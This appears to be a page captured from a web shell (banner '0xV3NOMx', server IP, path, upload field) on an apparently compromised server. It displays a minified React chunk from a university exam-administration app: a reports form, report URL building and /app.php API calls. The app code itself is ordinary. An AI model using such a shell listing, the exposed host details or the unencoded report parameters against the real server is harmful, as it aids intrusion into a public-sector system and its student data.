0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.151.109


Current Path : /var/www/egov/build/static/js/
Upload File :
Current File : /var/www/egov/build/static/js/104.5e5fd59a.chunk.js

(window.webpackJsonp=window.webpackJsonp||[]).push([[104],{1027:function(e,t,a){"use strict";a.r(t);var n=a(41),r=a.n(n),o=a(3),l=a(68),c=a(99),p=a(100),s=a(102),u=a(101),f=a(103),d=a(1),i=a.n(d),g=a(858),m=a(1139),h=a(1106),v=a(272),E=a(1098),y=a(1100),b=a(999),R=a(104),w=a(266),S=a(271),C=a(270),D=a(314),O=a(370),x=function(e){function t(){var e,a;Object(c.a)(this,t);for(var n=arguments.length,p=new Array(n),f=0;f<n;f++)p[f]=arguments[f];return(a=Object(s.a)(this,(e=Object(u.a)(t)).call.apply(e,[this].concat(p)))).state={frmDeggrp:"",reportType:"degreeWiseStudentCount",frmSubmit:!1,rftype:"PDF",fcollcode:"",clgdrop:!1,fdegfrom:0,fdegto:"ZZZZ",fcolfrom:"0",fcolto:"ZZZZ",fsubfrom:"0",fsubto:"ZZZZ",showSubRange:!1,fexamrange:"ABCDEF",fdeggrpfrom:"",fdeggrpto:"",moduleType:"",showRadioButton:!1,showExamRange:!1,currentReportType:[{value:"degreeWiseStudentCount",text:"Degree,Category,Genderwise Student Count",type:"GENDER"},{value:"studentwiseCollList",text:"Collegewise Students List",type:"GENDER"},{value:"collegewiseSummaryReport",text:"College, Category,Genderwise Student Count",type:"GENDER"}]},a.getDegrees=function(e,t){a.setState({frmDeggrp:t.value})},a.handleChange=function(){var e=Object(l.a)(r.a.mark(function e(t,n){var l;return r.a.wrap(function(e){for(;;)switch(e.prev=e.next){case 0:console.log("opt",a.props.dropDownOptions),"fdegfrom"!=n.name&&"fdegto"!=n.name&&"fcolfrom"!=n.name&&"fcolto"!=n.name&&"fsubfrom"!=n.name&&"fsubto"!=n.name&&"fdeggrpfrom"!=n.name&&"fdeggrpto"!=n.name||(n.value=n.value.toUpperCase()),l=[],"moduleType"==n.name&&("ADM"==n.value?a.props.dropDownOptions.map(function(e){if("SRADM"==e.fcode){var t={};t.text=e.fdescpn,t.value=e.fvalue,l.push(t)}}):"EXAM"==n.value?a.props.dropDownOptions.map(function(e){if("SREXA"==e.fcode){var t={};t.text=e.fdescpn,t.value=e.fvalue,l.push(t)}}):"GEN"==n.value&&a.props.dropDownOptions.map(function(e){if("SRGEN"==e.fcode){var t={};t.text=e.fdescpn,t.value=e.fvalue,l.push(t)}}),console.log("options",l),a.setState({currentReportType:l})),e.t0=n.type,e.next="text"===e.t0?7:9;break;case 7:return e.next=9,a.setState(Object(o.a)({},n.name,n.value));case 9:a.setState(Object(o.a)({},n.name,n.value));case 10:"ADM"!=n.value&&"EXAM"!=n.value||(a.setState({showSubRange:!0}),a.setState({showRadioButton:!1})),"GEN"==n.value&&a.setState({showSubRange:!1}),"GEN"==n.value&&a.setState({showRadioButton:!0}),"EXAM"==n.value&&a.setState({showExamRange:!0}),"ADM"!=n.value&&"GEN"!=n.value||a.setState({showExamRange:!1}),a.setState({frmSubmit:!1});case 16:case"end":return e.stop()}},e)}));return function(t,a){return e.apply(this,arguments)}}(),a.handleSubmit=function(){var e=a.props.user.fdeggrp,t=a.state.reportType;if(""!==e)a.props.getReport(t,"tables",e),a.setState({frmSubmit:!0});else{a.props.showError({header:"Error",content:"Select Degree Group"})}},a.handleReport=function(){var e=a.props.user.fdeggrp,t=a.state,n=t.reportType,r=t.rftype;if(1==a.state.showSubRange){var o=a.state.fexamrange;o=o.split("").join("','"),console.log("first"),console.log(o),window.open(S.c+n+"&univcode="+a.props.univcode+"&deggrp="+e+"&format="+r+"&fcollfrom="+a.state.fcolfrom+"&fcollto="+a.state.fcolto+"&fdegfrom="+a.state.fdegfrom+"&fdegto="+a.state.fdegto+"&fdeggrpfrom="+a.state.fdeggrpfrom+"&fdeggrpto="+a.state.fdeggrpto+"&fsubfrom="+a.state.fsubfrom+"&fsubto="+a.state.fsubto+"&fexamrange="+o,"_blank")}else window.open(S.c+n+"&univcode="+a.props.univcode+"&deggrp="+e+"&format="+r+"&fcollfrom="+a.state.fcolfrom+"&fcollto="+a.state.fcolto+"&fdegfrom="+a.state.fdegfrom+"&fdegto="+a.state.fdegto+"&fdeggrpfrom="+a.state.fdeggrpfrom+"&fdeggrpto="+a.state.fdeggrpto,"_blank")},a.handleCancel=function(){a.setState({reportType:"",reportFormat:"",frmDeggrp:"",studentType:""})},a.handleFromChange=function(e,t){var n=e.target.name,r=e.target.value;"fdegfrom"!=n&&"fcolfrom"!=n&&"fsubfrom"!=n||("fdegfrom"==n&&("0"==r?a.setState({fdegto:"ZZZZ"}):a.setState({fdegto:r})),"fcolfrom"==n&&("0"==r?a.setState({fcolto:"ZZZZ"}):a.setState({fcolto:r})),"fsubfrom"==n&&("0"==r?a.setState({fsubto:"ZZZZ"}):a.setState({fsubto:r})),"fdeggrpfrom"==n&&("0"==r?a.setState({fdeggrpto:"ZZZZ"}):a.setState({fdeggrpto:r})))},a.renderHeader=function(){return i.a.createElement(m.a.Header,{style:{display:"flex"}},i.a.createElement("h3",null,"General Reports"),i.a.createElement("div",{className:"ml-auto"},i.a.createElement(h.a,{basic:!0,color:"blue",onClick:a.handleReport,content:"Report",icon:"file"}),i.a.createElement(h.a,{basic:!0,color:"black",icon:"ban",onClick:a.handleCancel,content:"Cancel"}),i.a.createElement(g.a,{to:"/dashboard"},i.a.createElement(h.a,{basic:!0,color:"red",content:"Exit",icon:"home"}))))},a.componentDidMount=function(){a.setState({fdeggrpfrom:a.props.user.fdeggrp,fdeggrpto:a.props.user.fdeggrp}),a.props.getDropDownOptions(),console.log("api called",a.props.dropDownOptions)},a.handleItemClick=function(e,t){var n=t.name;return a.setState({activeItem:n})},a}return Object(f.a)(t,e),Object(p.a)(t,[{key:"render",value:function(){var e=this,t=this.state,a=(t.frmSubmit,t.reportType),n=t.rftype,r=(t.fcollcode,t.fdegfrom),o=t.fdegto,l=t.fcolfrom,c=t.fcolto,p=t.fdeggrpfrom,s=t.fdeggrpto,u=(t.fsubfrom,t.fsubto,t.clgdrop,t.showSubRange,t.fexamrange,t.moduleType,t.currentReportType),f=(this.state.activeItem,this.props.college.filter(function(t){return t.fcollcode==e.props.user.fcollcode})[0]),d=(parseInt(this.props.user.fcurtype)<499?this.props.degcoll.map(function(e){return{value:e.fcollcode,text:e.fcollname}}):(f.fcollcode,"".concat(f.fcollcode,"  ").concat(f.fcollname," ")),Object(C.i)());return i.a.createElement("div",{className:"animated fadeIn"},i.a.createElement(m.a,{fluid:!0},i.a.createElement(m.a.Content,null,this.renderHeader(),i.a.createElement(v.a,null),i.a.createElement(m.a.Description,{style:{overflowY:"auto",height:"".concat(d,"px")}},i.a.createElement("div",{className:"row",style:{margin:"0px"}},i.a.createElement("div",{className:"col-md-6"},i.a.createElement(E.a,null,i.a.createElement(E.a.Field,null,i.a.createElement("label",null,"Report Type"),i.a.createElement(y.a,{placeholder:"Select Report Type",name:"reportType",value:a,selection:!0,search:!0,options:u,onChange:this.handleChange})),i.a.createElement(E.a.Group,null,i.a.createElement(E.a.Input,{placeholder:"From",value:p,width:8,name:"fdeggrpfrom",onChange:this.handleChange,onBlur:this.handleFromChange,maxLength:"5",label:"Degree Group Range"}),i.a.createElement(E.a.Input,{placeholder:"To",name:"fdeggrpto",value:s,width:8,onChange:this.handleChange,maxLength:"5",style:{marginTop:"1.6em"}})),i.a.createElement(E.a.Group,null,i.a.createElement(E.a.Input,{placeholder:"From",value:r,width:8,name:"fdegfrom",onChange:this.handleChange,onBlur:this.handleFromChange,maxLength:"5",label:"Degree Range"}),i.a.createElement(E.a.Input,{placeholder:"To",name:"fdegto",value:o,width:8,onChange:this.handleChange,maxLength:"5",style:{marginTop:"1.6em"}})),i.a.createElement(E.a.Group,null,i.a.createElement(E.a.Input,{placeholder:"From",value:l,width:8,name:"fcolfrom",onChange:this.handleChange,onBlur:this.handleFromChange,maxLength:"4",label:"College Range"}),i.a.createElement(E.a.Input,{placeholder:"To",name:"fcolto",value:c,width:8,onChange:this.handleChange,maxLength:"4",style:{marginTop:"1.6em"}})),i.a.createElement(E.a.Group,{inline:!0},i.a.createElement(E.a.Field,{control:b.a,name:"rftype",label:"PDF",value:"PDF",checked:"PDF"===n,onChange:this.handleChange}),i.a.createElement(E.a.Field,{control:b.a,name:"rftype",label:"EXCEL",value:"Excel",checked:"Excel"===n,onChange:this.handleChange})),i.a.createElement("br",null))))))))}}]),t}(d.Component);t.default=Object(R.b)(function(e){return{deggrp:e.deggrp,collegeReport:e.collegeReport,univcode:e.univ.funivcode,user:e.user,menu:e.menu,degcoll:e.degcoll,college:e.activeCollege,dropDownOptions:e.fetchDropDownOptions}},{fetchDegGrp:w.j,fetchDegColl:D.d,getReport:w.r,showError:w.w,getActiveCollegeList:O.a,getDropDownOptions:w.p})(x)},272:function(e,t,a){"use strict";var n=a(268),r=a.n(n),o=a(265),l=a.n(o),c=a(1),p=a.n(c),s=a(333),u=a(551),f=a(549),d=a(267);function i(e){var t=e.children,a=e.className,n=e.clearing,o=e.content,c=e.fitted,g=e.hidden,m=e.horizontal,h=e.inverted,v=e.section,E=e.vertical,y=l()("ui",Object(s.a)(n,"clearing"),Object(s.a)(c,"fitted"),Object(s.a)(g,"hidden"),Object(s.a)(m,"horizontal"),Object(s.a)(h,"inverted"),Object(s.a)(v,"section"),Object(s.a)(E,"vertical"),"divider",a),b=Object(u.a)(i,e),R=Object(f.a)(i,e);return p.a.createElement(R,r()({},b,{className:y}),d.a.isNil(t)?o:t)}i.handledProps=["as","children","className","clearing","content","fitted","hidden","horizontal","inverted","section","vertical"],i.propTypes={},t.a=i},314:function(e,t,a){"use strict";a.d(t,"d",function(){return c}),a.d(t,"f",function(){return p}),a.d(t,"a",function(){return s}),a.d(t,"c",function(){return u}),a.d(t,"e",function(){return f}),a.d(t,"b",function(){return d});var n=a(41),r=a.n(n),o=a(68),l=a(269),c=function(e){return function(){var t=Object(o.a)(r.a.mark(function t(a,n){var o,c;return r.a.wrap(function(t){for(;;)switch(t.prev=t.next){case 0:return o=n(),t.next=3,l.a.get("/app.php",{params:{a:"fetchDegColl",univcode:o.univ.funivcode,deggrp:e}});case 3:"object"!==typeof(c=t.sent).data?a({type:"SET_ERROR",payload:{error_code:-1,data:{msg:"Something went wrong"},status:"failure"}}):0===c.data.error_code?a({type:"FETCH_DEGCOLL",payload:c.data}):a({type:"SET_ERROR",payload:c.data});case 5:case"end":return t.stop()}},t)}));return function(e,a){return t.apply(this,arguments)}}()},p=function(e,t){return{type:"UPD_CNTR_DET",payload:{el:e,i:t}}},s=function(e){return{type:"ADD_CNTR_DET",payload:e}},u=function(e,t,a){return function(){var n=Object(o.a)(r.a.mark(function n(o,c){var p,s;return r.a.wrap(function(n){for(;;)switch(n.prev=n.next){case 0:return p=c(),o({type:"SET_LOADER"}),n.next=4,l.a.get("/app.php",{params:{a:"fetchCntrListdet",univcode:p.univ.funivcode,deggrp:t,examcntr:e,thpr:a}});case 4:s=n.sent,o({type:"UNSET_LOADER"}),"object"!==typeof s.data?o({type:"SET_ERROR",payload:{error_code:-1,data:{msg:"Something went wrong"},status:"failure"}}):0===s.data.error_code?o({type:"FETCH_CNTR_DET",payload:s.data}):o({type:"SET_ERROR",payload:s.data});case 7:case"end":return n.stop()}},n)}));return function(e,t){return n.apply(this,arguments)}}()},f=function(e,t,a,n){return function(){var c=Object(o.a)(r.a.mark(function o(c,p){var s,u;return r.a.wrap(function(r){for(;;)switch(r.prev=r.next){case 0:return s=p(),c({type:"SET_LOADER"}),r.next=4,l.a.post("/app.php?a=saveExamCenter&univcode="+s.univ.funivcode,{data:{deggrp:a,examcntr:t,thpr:n,examcntrlist:e}});case 4:u=r.sent,c({type:"UNSET_LOADER"}),"object"!==typeof u.data?c({type:"SET_ERROR",payload:{error_code:-1,data:{msg:"Something went wrong"},status:"failure"}}):c({type:"SET_ERROR",payload:u.data});case 7:case"end":return r.stop()}},o)}));return function(e,t){return c.apply(this,arguments)}}()},d=function(e,t,a){return function(){var n=Object(o.a)(r.a.mark(function n(o,c){var p,s;return r.a.wrap(function(n){for(;;)switch(n.prev=n.next){case 0:return p=c(),o({type:"SET_LOADER"}),n.next=4,l.a.post("/app.php?a=deleteExamCenter&univcode="+p.univ.funivcode,{data:{deggrp:t,examcntr:e,thpr:a}});case 4:s=n.sent,o({type:"UNSET_LOADER"}),"object"!==typeof s.data?o({type:"SET_ERROR",payload:{error_code:-1,data:{msg:"Something went wrong"},status:"failure"}}):o({type:"SET_ERROR",payload:s.data});case 7:case"end":return n.stop()}},n)}));return function(e,t){return n.apply(this,arguments)}}()}}}]);
//# sourceMappingURL=104.5e5fd59a.chunk.js.map